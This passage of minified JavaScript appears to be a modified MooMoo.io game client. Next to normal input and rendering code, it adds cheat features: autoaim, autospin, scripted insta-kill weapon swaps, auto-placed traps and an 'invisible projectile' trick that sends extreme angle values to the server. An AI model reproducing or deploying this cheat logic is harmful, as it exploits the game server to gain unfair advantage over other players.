}else if(test == false && autoaim == true){
return nearestEnemyAngle
}else{
if (!window.spin_6) window.spin_6 = 0;
window.spin_6 = (window.spin_6 + 999999999999999999.9) % 360;
let i = (autospin) ? toRad(window.spin_6) : (hit360) ? toRad(Math.RAND_NUMBER(0,
359)) : R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY, se.currentX -
se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F / 2)),
s.fixTo(cn || 0, 2)) : 0;
r.send("2",((myPlayer.weapon == 9 || myPlayer.weapon == 12 || myPlayer.weapon == 13
|| myPlayer.weapon == 15) && invisProjectile) ?
YAW_1[FixInvisibleBuildings(dir_1(i))] : i);
return i;
}
}
window.addEventListener("resize", s.checkTrusted(un)),
un(),
fn(!1),
window.setUsingTouch = fn,
we.addEventListener("touchmove", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.currentX = n.pageX,
re.currentY = n.pageY,
bn()) : n.identifier == se.id && (se.currentX = n.pageX,
se.currentY = n.pageY,
O = 1)
}
}
)), !1),
we.addEventListener("touchstart", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id =
n.identifier,
re.startX = re.currentX = n.pageX,
re.startY = re.currentY = n.pageY,
bn()) : n.pageX > document.body.scrollWidth / 2 && -1 == se.id &&
(se.id = n.identifier,
se.startX = se.currentX = n.pageX,
se.startY = se.currentY = n.pageY,
R.buildIndex < 0 && (O = 1,
vn()))
}
}
)), !1),
we.addEventListener("touchend", s.checkTrusted(dn), !1),
we.addEventListener("touchcancel", s.checkTrusted(dn), !1),
we.addEventListener("touchleave", s.checkTrusted(dn), !1),
we.addEventListener("mousemove", (function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!1),
ne = e.clientX,
ie = e.clientY
}
), !1),
we.addEventListener("mousedown", (function(e) {
fn(!1),
1 != O && (O = 1,
vn())
}
), !1),
we.addEventListener("mouseup", (function(e) {
fn(!1),
0 != O && (O = 0,
vn())
}
), !1);
var gn = {}
, mn = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0]
};
function yn() {
gn = {},
r.send("rmd")
}
function kn() {
return "block" != Ye.style.display && "block" != nn.style.display
}
function vn() {
R && R.alive && r.send("c", O, R.buildIndex >= 0 ? pn() : null)
}
window.addEventListener("keydown", s.checkTrusted((function(e) {
var t = e.which || e.keyCode || 0;
27 == t ? Qt() : R && R.alive && kn() && (gn[t] || (gn[t] = 1,
69 == t ? r.send("7", 1) : 67 == t ? (Mt || (Mt = {}),
Mt.x = R.x,
Mt.y = R.y) : 88 == t ? (R.lockDir = R.lockDir ? 0 : 1,
r.send("7", 0)) : null != R.weapons[t - 49] ? Sn(R.weapons[t - 49], !0) :
null != R.items[t - 49 - R.weapons.length] ? Sn(R.items[t - 49 - R.weapons.length])
: 81 == t ? Sn(R.items[0]) : 82 == t ? xn() : mn[t] ? bn() : 32 == t && (O = 1,
vn())))
}
))),
window.addEventListener("keyup", s.checkTrusted((function(e) {
if (R && R.alive) {
var t = e.which || e.keyCode || 0;
13 == t ? rn() : kn() && gn[t] && (gn[t] = 0,
mn[t] ? bn() : 32 == t && (O = 0,
vn()))
}
}
)));
var wn = void 0;
function bn() {
var e = function() {
var e = 0
, t = 0;
if (-1 != re.id)
e += re.currentX - re.startX,
t += re.currentY - re.startY;
else
for (var n in mn) {
var i = mn[n];
e += !!gn[n] * i[0],
t += !!gn[n] * i[1]
}
return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
}();
(null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e),
wn = e)
}
function xn() {
if(iI || primaryReload[R.sid]+111/l.weapons[R.primary].speed < 1){
return;
}else if(nEy[5] == 11 && (nEy[3] + Math.PI/2) > nEA && (nEy[3] -
Math.PI/2) < nEA){
return
}else if(secondaryReload[R.sid]+111/l.weapons[R.secondary].speed < 1){
return
}
iI++;
AA++;
r.send("2", nEA);
Jt(0, 1);
if(R.weapons[0] == 4 && (nEy[5] != 6 && nEy[5] != 22) &&
turretReload[R.sid] == 1){
Hg(6, 18);
}else if(nEy[5] != 11){
Hg(7, 18);
}
oW = R.weapons[0];
Sn(oW, 1);
r.send("7", 1);
setTimeout(function(){
if(nEy[5] != 22 && turretReload[R.sid] == 1){
Hg(53, 21);
}else{
Hg(52, 21);
}
oW = R.weapons[1] || R.weapons[0];
Sn(oW, 1);
setTimeout(function(){
Hg(6, 21)
r.send("7", 1);
oW = R.weapons[0];
Sn(oW, 1);
iI--;
AA--;
r.send(2, pn());
},110);
},110);
}
function Sn(e, t) {
r.send("5", e, t)
}
function Tn() {
I("moo_name", Le.value),
!le && r.connected && (le = !0,
x.stop("menu"),
dt("Loading..."),
r.send("sp", {
name: Le.value,
moofoll: H,
skin: ae
}))
}
var In = !0;
function En(e) {
Pe.style.display = "none",
Me.style.display = "block",
he.style.display = "none",
gn = {},
j = e,
O = 0,
le = !0,
In && (In = !1,
N.length = 0)
}
function Mn(e, t, n, i) {
m.showText(e, t, 50, .18, 1696, Math.abs(n), n >= 0 ? "#fff" : "#8ecc51")
}
var An = 99999;
function Pn() {
le = !1;
try {
factorem.refreshAds([2], !0)
} catch (e) {}
Be.style.display = "none",
Qt(),
It = {
x: R.x,
y: R.y
},
Pe.style.display = "none",
Ge.style.display = "block",
Ge.style.fontSize = "0px",
An = 0,
setTimeout((function() {
Me.style.display = "block",
he.style.display = "block",
Ge.style.display = "none"
}
), o.deathFadeout),
gt()
}
function Bn(e) {
R && nt.removeAllItems(e)
}
function Cn(e) {
for(let i = 0; i < N.length; i++){
if(N[i].sid == e){
if((R.x2-N[i].x)**2+(R.y2-N[i].y)**2 < 1.21e4 && nEy.length){
if(fgd(nEy, R) < 200){
for(let i = 0;i < 24; i++){
let a = i*4*(i%2?-1:1)/180*Math.PI+nEA;
Sn(R.items[2]),r.send("c", 1, a),r.send("c", 0,
a),Sn(oW, 1)
}
r.send("2", pn());
}else{
for(let i = 0;i < Math.PI*2;i += Math.PI/12){
Sn(R.items[4]),r.send("c", 1, i),r.send("c", 0,
i),Sn(oW, 1)
}
r.send("2", pn());
}
}
nt.disableObj(N[i]);
break;
}
}
//nt.disableBySid(e)
}
function On() {
Oe.innerText = R.points,
Re.innerText = R.food,
je.innerText = R.wood,
_e.innerText = R.stone,
Ue.innerText = R.kills
}
var Rn = {}
, jn = ["crown", "skull"]
, _n = [];
function Un(e, t) {
if (R.upgradePoints = e,
R.upgrAge = t,
e > 0) {
_n.length = 0,
s.removeAllChildren(Ve);
for (var n = 0; n < l.weapons.length; ++n)
l.weapons[n].age == t && (null == l.weapons[n].pre ||
R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage = document.getElementById("actionBarItem"
+ n).style.backgroundImage,
_n.push(n));
for (n = 0; n < l.list.length; ++n)
if (l.list[n].age == t && (null == l.list[n].pre ||
R.items.indexOf(l.list[n].pre) >= 0)) {
var i = l.weapons.length + n;
s.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + i).style.backgroundImage,
_n.push(i)
}
for (n = 0; n < _n.length; n++)
!function(e) {
var t = document.getElementById("upgradeItem" + e);
t.onmouseover = function() {
l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e -
l.weapons.length])
}
,
t.onclick = s.checkTrusted((function() {
r.send("6", e)
}
)),
s.hookTouchEvents(t)
}(_n[n]);
_n.length ? (Ve.style.display = "block",
qe.style.display = "block",
qe.innerHTML = "SELECT ITEMS (" + e + ")") : (Ve.style.display =
"none",
qe.style.display = "none",
Tt())
} else
Ve.style.display = "none",
qe.style.display = "none",
Tt()
}
function Dn(e, t, n) {
null != e && (R.XP = e),
null != t && (R.maxXP = t),
null != n && (R.age = n),
n == o.maxAge ? (ze.innerHTML = "MAX AGE",
He.style.width = "100%") : (ze.innerHTML = "AGE " + R.age,
He.style.width = R.XP / R.maxXP * 100 + "%")
}
function Ln(e) {
s.removeAllChildren(De);
for (var t = 1, n = 0; n < e.length; n += 3)
!function(n) {
s.generateElement({
class: "leaderHolder",
parent: De,
children: [s.generateElement({
class: "leaderboardItem",
style: "color:" + (e[n] == j ? "#fff" :
"rgba(255,255,255,0.6)"),
text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
}), s.generateElement({
class: "leaderScore",
text: s.kFormat(e[n + 2]) || "0"
})]
})
}(n),
t++
}
function Fn(e, t, n, i) {
be.save(),
be.setTransform(1, 0, 0, 1, 0, 0),
be.scale(V, V);
var r = 50;
be.beginPath(),
be.arc(e, t, r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "rgba(255, 255, 255, 0.3)",
be.fill(),
r = 50;
var s = n - e
, a = i - t
, o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2))
, c = o > r ? o / r : 1;
s /= c,
a /= c,
be.beginPath(),
be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "white",
be.fill(),
be.restore()
}
function zn(e, t, n) {
for (var i = 0; i < G.length; ++i)
(_ = G[i]).active && _.layer == e && (_.update(P),
_.active && ki(_.x - t, _.y - n, _.scale) && (be.save(),
be.translate(_.x - t, _.y - n),
be.rotate(_.dir),
Vn(0, 0, _, be, 1),
be.restore()))
}
var Hn = {};
function Vn(e, t, n, i, r) {
if (n.src) {
var s = l.projectiles[n.indx].src
, a = Hn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Hn[s] = a),
a.isLoaded && i.drawImage(a, e - n.scale / 2, t - n.scale / 2, n.scale,
n.scale)
} else
1 == n.indx && (i.fillStyle = "#939393",
si(e, t, n.scale, i))
}
function qn(e, t, n, i) {
var r = o.riverWidth + i
, s = o.mapScale / 2 - t - r / 2;
s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
}
function Yn(e, t, n) {
for (var i, r, s, a = 0; a < N.length; ++a)
(_ = N[a]).active && (r = _.x + _.xWiggle - t,
s = _.y + _.yWiggle - n,
0 == e && _.update(P),
_.layer == e && ki(r, s, _.scale + (_.blocker || 0)) && (be.globalAlpha
= _.hideFromEnemy ? .6 : 1,
_.isItem ? (i = ri(_),
be.save(),
be.translate(r, s),
(_.dir > 1e300 || _.dir < -1e300 ? (be.globalAlpha = 0.5,
be.rotate(Math.atan2(Math.sin(_.dir), Math.cos(_.dir)))) : be.rotate(_.dir)),
be.drawImage(i, -i.width / 2, -i.height / 2),
_.blocker && (be.strokeStyle = "#db6e6e",
be.globalAlpha = .3,
be.lineWidth = 6,
si(0, 0, _.blocker, be, !1, !0)),
be.restore()) : (i = ni(_),
be.drawImage(i, r - i.width / 2, s - i.height / 2))))
}
function Wn(e, t, n) {
(_ = Ii(e)) &&(_.startAnim(t, n));
for(let i = 0;i<N.length;i++){
let DirToBuilding=Math.atan2(N[i].y-_.y,N[i].x-_.x)
if ((Math.abs(_.dir-DirToBuilding) <= Math.PI/2.6 || _.dir ==
1.1692885044833758|| _.dir > 15e7||_.dir>6.28)&&N[i].active&& Math.hypot(N[i].y-
_.y,N[i].x-_.x) - N[i].scale <= l.weapons[_.weaponIndex].range) {
N[i].health-=(l.weapons[n].dmg)*(l.weapons[n].sDmg||
1)*(_.skinIndex==40?3.3:1)
}
}
n == 10 || n == 14 ? setTimeout(()=>{secondaryReload[e] = 0})
:setTimeout(()=>{primaryReload[e] = 0})
}
function Xn(e, t, n) {
be.globalAlpha = 1;
for (var i = 0; i < W.length; ++i)
(_ = W[i]).zIndex == n && (_.animate(P),
_.visible && (_.skinRot += .002 * P,
L = (_ == R ? pn() : _.dir) + _.dirPlus,
be.save(),
be.translate(_.x - e, _.y - t),
be.rotate(L),
Nn(_, be),
be.restore()))
}
function Nn(e, t) {
(t = t || be).lineWidth = 5.5,
t.lineJoin = "miter";
var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1)
, i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1
, r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
if (e.tailIndex > 0 && function(e, t, n) {
if (!(Gn = Qn[e])) {
var i = new Image;
i.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
i.src = ".././img/accessories/access_" + e + ".png",
Qn[e] = i,
Gn = i
}
var r = $n[e];
if (!r) {
for (var s = 0; s < tt.length; ++s)
if (tt[s].id == e) {
r = tt[s];
break
}
$n[e] = r
}
Gn.isLoaded && (t.save(),
t.translate(-20 - (r.xOff || 0), 0),
r.spin && t.rotate(n.skinRot),
t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale, r.scale),
t.restore())
}(e.tailIndex, t, e),
e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null == l.weapons[e.weaponIndex].projectile ||
l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0,
l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
t.fillStyle = o.skinColors[e.skinColor],
si(e.scale * Math.cos(n), e.scale * Math.sin(n), 14),
si(e.scale * r * Math.cos(-n * i), e.scale * r * Math.sin(-n * i), 14),
e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null == l.weapons[e.weaponIndex].projectile ||
l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0,
l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
e.buildIndex >= 0) {
var s = ri(l.list[e.buildIndex]);
t.drawImage(s, e.scale - l.list[e.buildIndex].holdOffset, -s.width / 2)
}
si(0, 0, e.scale, t),
e.skinIndex > 0 && (t.rotate(Math.PI / 2),
function e(t, n, i, r) {
if (!(Gn = Jn[t])) {
var s = new Image;
s.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
s.src = ".././img/hats/hat_" + t + ".png",
Jn[t] = s,
Gn = s
}
var a = i || Kn[t];
if (!a) {
for (var o = 0; o < et.length; ++o)
if (et[o].id == t) {
a = et[o];
break
}
Kn[t] = a
}
Gn.isLoaded && n.drawImage(Gn, -a.scale / 2, -a.scale / 2, a.scale,
a.scale),
!i && a.topSprite && (n.save(),
n.rotate(r.skinRot),
e(t + "_top", n, a, r),
n.restore())
}(e.skinIndex, t, null, e))
}
var Gn, Jn = {}, Kn = {}, Qn = {}, $n = {}, Zn = {};
function ei(e, t, n, i, r) {
var s = e.src + (t || "")
, a = Zn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Zn[s] = a),
a.isLoaded && r.drawImage(a, n + e.xOff - e.length / 2, i + e.yOff -
e.width / 2, e.length, e.width)
}
var ti = {};
function ni(e) {
var t = e.y >= o.mapScale - o.snowBiomeTop ? 2 : e.y <= o.snowBiomeTop ?
1 : 0
, n = e.type + "_" + e.scale + "_" + t
, i = ti[n];
if (!i) {
var r = document.createElement("canvas");
r.width = r.height = 2.1 * e.scale + 5.5;
var a = r.getContext("2d");
if (a.translate(r.width / 2, r.height / 2),
a.rotate(s.randFloat(0, Math.PI)),
a.strokeStyle = it,
a.lineWidth = 5.5,
0 == e.type)
for (var c, l = 0; l < 2; ++l)
ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c),
a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62" :
"#9ebf57",
a.fill(),
l || a.stroke();
else if (1 == e.type)
if (2 == t)
a.fillStyle = "#606060",
ai(a, 6, .3 * e.scale, .71 * e.scale),
a.fill(),
a.stroke(),
a.fillStyle = "#89a54c",
si(0, 0, .55 * e.scale, a),
a.fillStyle = "#a5c65b",
si(0, 0, .3 * e.scale, a, !0);
else {
var h;
!function(e, t, n, i) {
var r, a = Math.PI / 2 * 3, o = Math.PI / 6;
e.beginPath(),
e.moveTo(0, -i);
for (var c = 0; c < 6; c++)
r = s.randInt(n + .9, 1.2 * n),
e.quadraticCurveTo(Math.cos(a + o) * r, Math.sin(a + o)
* r, Math.cos(a + 2 * o) * i, Math.sin(a + 2 * o) * i),
a += 2 * o;
e.lineTo(0, -i),
e.closePath()
}(a, 0, _.scale, .7 * _.scale),
a.fillStyle = t ? "#e3f1f4" : "#89a54c",
a.fill(),
a.stroke(),
a.fillStyle = t ? "#6a64af" : "#c15555";
var u = T / 4;
for (l = 0; l < 4; ++l)
si((h = s.randInt(_.scale / 3.5, _.scale / 2.3)) *
Math.cos(u * l), h * Math.sin(u * l), s.randInt(10, 12), a)
}
else
2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ?
"#938d77" : "#939393" : "#e0c655",
ai(a, 3, e.scale, e.scale),
a.fill(),
a.stroke(),
a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" :
"#ebdca3",
ai(a, 3, .55 * e.scale, .65 * e.scale),
a.fill());
i = r,
ti[n] = i
}
return i
}
var ii = [];
function ri(e, t) {
var n = ii[e.id];
if (!n || t) {
var i = document.createElement("canvas");
i.width = i.height = 2.5 * e.scale + 5.5 + (l.list[e.id].spritePadding
|| 0);
var r = i.getContext("2d");
if (r.translate(i.width / 2, i.height / 2),
r.rotate(t ? 0 : Math.PI / 2),
r.strokeStyle = it,
r.lineWidth = 5.5 * (t ? i.width / 81 : 1),
"apple" == e.name || "cookie" == e.name || "cheese" == e.name) {
r.fillStyle = "#c15555",
si(0, 0, e.scale, r),
r.fillStyle = "#89a54c";
var a = -Math.PI / 2;
!function(e, t, n, i, r) {
var s = e + 25 * Math.cos(i)
, a = t + 25 * Math.sin(i);
r.moveTo(e, t),
r.beginPath(),
r.quadraticCurveTo((e + s) / 2 + 10 * Math.cos(i + Math.PI /
2), (t + a) / 2 + 10 * Math.sin(i + Math.PI / 2), s, a),
r.quadraticCurveTo((e + s) / 2 - 10 * Math.cos(i + Math.PI /
2), (t + a) / 2 - 10 * Math.sin(i + Math.PI / 2), e, t),
r.closePath(),
r.fill(),
r.stroke()
}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI / 2,
r)
} else if ("wood wall" == e.name || "stone wall" == e.name || "castle
wall" == e.name) {
r.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall" ==
e.name ? "#a5974c" : "#939393";
var f = "castle wall" == e.name ? 4 : 3;
ai(r, f, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood wall" ==
e.name ? "#c9b758" : "#bcbcbc",
ai(r, f, .65 * e.scale, .65 * e.scale),
r.fill()
} else if ("spikes" == e.name || "greater spikes" == e.name || "poison
spikes" == e.name || "spinning spikes" == e.name) {
r.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
var d = .6 * e.scale;
ai(r, "spikes" == e.name ? 5 : 6, e.scale, d),
r.fill(),
r.stroke(),
r.fillStyle = "#a5974c",
si(0, 0, d, r),
r.fillStyle = "#c9b758",
si(0, 0, d / 2, r, !0)
} else if ("windmill" == e.name || "faster windmill" == e.name ||
"power mill" == e.name)
r.fillStyle = "#a5974c",
si(0, 0, e.scale, r),
r.fillStyle = "#c9b758",
ci(0, 0, 1.5 * e.scale, 29, 4, r),
r.fillStyle = "#a5974c",
si(0, 0, .5 * e.scale, r);
else if ("mine" == e.name)
r.fillStyle = "#939393",
ai(r, 3, e.scale, e.scale),
r.fill(),
r.stroke(),
r.fillStyle = "#bcbcbc",
ai(r, 3, .55 * e.scale, .65 * e.scale),
r.fill();
else if ("sapling" == e.name)
for (c = 0; c < 2; ++c)
ai(r, 7, d = e.scale * (c ? .5 : 1), .7 * d),
r.fillStyle = c ? "#b4db62" : "#9ebf57",
r.fill(),
c || r.stroke();
else if ("pit trap" == e.name)
r.fillStyle = "#a5974c",
ai(r, 3, 1.1 * e.scale, 1.1 * e.scale),
r.fill(),
r.stroke(),
r.fillStyle = it,
ai(r, 3, .65 * e.scale, .65 * e.scale),
r.fill();
else if ("boost pad" == e.name)
r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#dbd97d",
function(e, t) {
t = t || be;
var n = e * (Math.sqrt(3) / 2);
t.beginPath(),
t.moveTo(0, -n / 2),
t.lineTo(-e / 2, n / 2),
t.lineTo(e / 2, n / 2),
t.lineTo(0, -n / 2),
t.fill(),
t.closePath()
}(1 * e.scale, r);
else if ("turret" == e.name)
r.fillStyle = "#a5974c",
si(0, 0, e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#939393",
oi(0, -25, .9 * e.scale, 50, r),
si(0, 0, .6 * e.scale, r),
r.fill(),
r.stroke();
else if ("platform" == e.name) {
r.fillStyle = "#cebd5f";
var p = 2 * e.scale
, g = p / 4
, m = -e.scale / 2;
for (c = 0; c < 4; ++c)
oi(m - g / 2, 0, g, 2 * e.scale, r),
r.fill(),
r.stroke(),
m += p / 4
} else
"healing pad" == e.name ? (r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#db6e6e",
ci(0, 0, .65 * e.scale, 20, 4, r, !0)) : "spawn pad" == e.name ?
(r.fillStyle = "#7e7f82",
oi(0, 0, 2 * e.scale, 2 * e.scale, r),
r.fill(),
r.stroke(),
r.fillStyle = "#71aad6",
si(0, 0, .6 * e.scale, r)) : "blocker" == e.name ? (r.fillStyle =
"#7e7f82",
si(0, 0, e.scale, r),
r.fill(),
r.stroke(),
r.rotate(Math.PI / 4),
r.fillStyle = "#db6e6e",
ci(0, 0, .65 * e.scale, 20, 4, r, !0)) : "teleporter" == e.name &&
(r.fillStyle = "#7e7f82",
si(0, 0, e.scale, r),
r.fill(),
r.stroke(),
r.rotate(Math.PI / 4),
r.fillStyle = "#d76edb",
si(0, 0, .5 * e.scale, r, !0));
n = i,
t || (ii[e.id] = n)
}
return n
}
function si(e, t, n, i, r, s) {
(i = i || be).beginPath(),
i.arc(e, t, n, 0, 2 * Math.PI),
s || i.fill(),
r || i.stroke()
}
function ai(e, t, n, i) {
var r, s, a = Math.PI / 2 * 3, o = Math.PI / t;
e.beginPath(),
e.moveTo(0, -n);
for (var c = 0; c < t; c++)
r = Math.cos(a) * n,
s = Math.sin(a) * n,
e.lineTo(r, s),
a += o,
r = Math.cos(a) * i,
s = Math.sin(a) * i,
e.lineTo(r, s),
a += o;
e.lineTo(0, -n),
e.closePath()
}
function oi(e, t, n, i, r, s) {
r.fillRect(e - n / 2, t - i / 2, n, i),
s || r.strokeRect(e - n / 2, t - i / 2, n, i)
}
function ci(e, t, n, i, r, s, a) {
s.save(),
s.translate(e, t),
r = Math.ceil(r / 2);
for (var o = 0; o < r; o++)
oi(0, 0, 2 * n, i, s, a),
s.rotate(Math.PI / r);
s.restore()
}
function li(e) {
for (var t = 0; t < e.length; )
nt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[t + 4], e[t + 5],
l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
sid: e[t + 7]
} : null),
t += 8
}
function hi(e, t) {
(_ = Mi(t)) && (_.xWiggle += o.gatherWiggle * Math.cos(e),
_.yWiggle += o.gatherWiggle * Math.sin(e))
for(let i in N) {
if(N[i].id == t) {
// configure thing blbla
}
}
}
function ui(e, t) {
(_ = Mi(e)) && (_.dir = t,
_.xWiggle += o.gatherWiggle * Math.cos(t + Math.PI),
_.yWiggle += o.gatherWiggle * Math.sin(t + Math.PI))
}
function fi(e, t, n, i, r, s, a, o) {
_ = W.sort((a, b) => Math.hypot(a.y - t, a.x - e) - Math.hypot(b.y - t,
b.x - e))[0];
lt && (J.addProjectile(e, t, ((n > 1e300 || n < -1e300) &&
antiInvisProjectile) ? dir_1(n) : n, i, r, s, null, null, a).sid = o,
setAdvCooldown(e, t, ((n > 1e300 || n < -1e300) &&
antiInvisProjectile) ? dir_1(n) : n, i, r))
}
function setAdvCooldown(e, t, n, i, r){
let min = Infinity;
let id = -1;
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
l.weapons[_.secondary].projectile !== undefined &&
l.projectiles[l.weapons[_.secondary].projectile].speed == r &&
min > (_.x2-e+Math.cos(n)*70)**2+(_.y2-t+Math.sin(n)*70)**2
&& (id = _.sid, min = (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2)
}
if(Math.sqrt(min) > 80){
if(r == 1.5){
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible &&
min > (_.x2-e)**2+(_.y2-t)**2
&& (id = _.sid, min = (_.x2-e)**2+(_.y2-t)**2)
}
if(Math.sqrt(min) < 60){
setTimeout(()=>{turretReload[id] = 0});
}
}else{
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
min > (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2
&& (id = _.sid, min = (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2)
}
_=Ii(id);
setTimeout(()=>{secondaryReload[id] = 0});
}
}else{
_=Ii(id);
setTimeout(()=>{secondaryReload[id] = 0});
}
}
function di(e, t) {
for (var n = 0; n < G.length; ++n)
G[n].sid == e && (G[n].range = t)
}
function pi(e) {
(_ = Ei(e)) && _.startAnim()
}
function gi(e) {
for (var t = 0; t < Y.length; ++t)
Y[t].forcePos = !Y[t].visible,
Y[t].visible = !1;
if (e) {
var n = Date.now();
for (t = 0; t < e.length; )
(_ = Ei(e[t])) ? (_.index = e[t + 1],
_.t1 = void 0 === _.t2 ? n : _.t2,
_.t2 = n,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[t + 2],
_.y2 = e[t + 3],
_.d1 = void 0 === _.d2 ? e[t + 4] : _.d2,
_.d2 = e[t + 4],
_.health = e[t + 5],
_.dt = 0,
_.visible = !0) : ((_ = Z.spawn(e[t + 2], e[t + 3], e[t + 4], e[t +
1])).x2 = _.x,
_.y2 = _.y,
_.d2 = _.dir,
_.health = e[t + 5],
Z.aiTypes[e[t + 1]].name || (_.name = o.cowNames[e[t + 6]]),
_.forcePos = !0,
_.sid = e[t],
_.visible = !0),
t += 7
}
}
var mi = {};
function yi(e, t) {
var n = e.index
, i = mi[n];
if (!i) {
var r = new Image;
r.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
r.src = ".././img/animals/" + e.src + ".png",
i = r,
mi[n] = i
}
if (i.isLoaded) {
var s = 1.2 * e.scale * (e.spriteMlt || 1);
t.drawImage(i, -s, -s, 2 * s, 2 * s)
}
}
function ki(e, t, n) {
return e + n >= 0 && e - n <= oe && t + n >= 0 && t - n <= ce
}
function vi(e, t) {
var n = function(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].id == e)
return W[t];
return null
}(e[0]);
n || (n = new u(e[0],e[1],o,s,J,nt,W,Y,l,et,tt),
W.push(n)),
n.spawn(t ? H : null),
n.visible = !1,
n.x2 = void 0,
n.y2 = void 0,
n.setData(e),
primaryReload[n.sid] = 1,
n.pr = 1,
secondaryReload[n.sid] = 1,
n.sr = 1;
turretReload[n.sid] = 1,
n.tr = 1,
n.clownCounter = 0,
n.clownTimer = 0,
n.canClownTime = true,
n.clowned = false,
n.clownTimeInt,
t && (U = (R = n).x,
D = R.y,
$t(),
On(),
Dn(),
Un(0),
Be.style.display = "block")
}
function wi(e) {
for (var t = 0; t < W.length; t++)
if (W[t].id == e) {
W.splice(t, 1);
break
}
}
function bi(e, t) {
R && (R.itemCounts[e] = t)
}
function xi(e, t, n) {
R && (R[e] = t,
n && On())
}
function Si(e, t) {
(_ = Ii(e)) && (Qz(_, t), _.health = t)
}
var FT = 0;
function Qz(_, t){
let d = t - _.health;
if(d > 0){
if(_.skinIndex == 13){
if(_.tailIndex == 13){
d == 6 && (_.lastBull = tC);
R == _ && (FT = 0);
return;
}else{
d == 3 && (_.lastBull = tC);
R == _ && (FT = 0);
return;
}
}
if(!isNaN(_.clownCounter) && _.lastDamage){
if(tC - _.lastDamage < 2){
_.clownCounter++;
}else{
_.clownCounter = Math.max(0, _.clownCounter - 2);
}
_.lastDamage = 0;
}
}else{
_.lastDamage = tC;
if(_.skinIndex == 7){
if(_.tailIndex == 13){
if(d == -2){
_.lastBull = tC;
return;
}
}else{
if(d == -5){
_.lastBull = tC;
return;
}
}
}
}
}
var nEy;
var nEA;
var nEs;
var tC = 0;
var dNG = false;
var Tb;
var dH;
var Hg = function(){};
var iI;
function Ti(e) {
tC++;
nEs = [];
nEy = [];
nEA = 0;
for (var t = Date.now(), n = 0; n < W.length; ++n)
W[n].forcePos = !W[n].visible,
W[n].visible = !1;
for (n = 0; n < e.length; )
(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2,
_.t2 = t,
_.xVel = _.x1,
_.yVel = _.y1,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[n + 1],
_.y2 = e[n + 2],
_.d1 = void 0 === _.d2 ? e[n + 3] : _.d2,
_.d2 = e[n + 3],
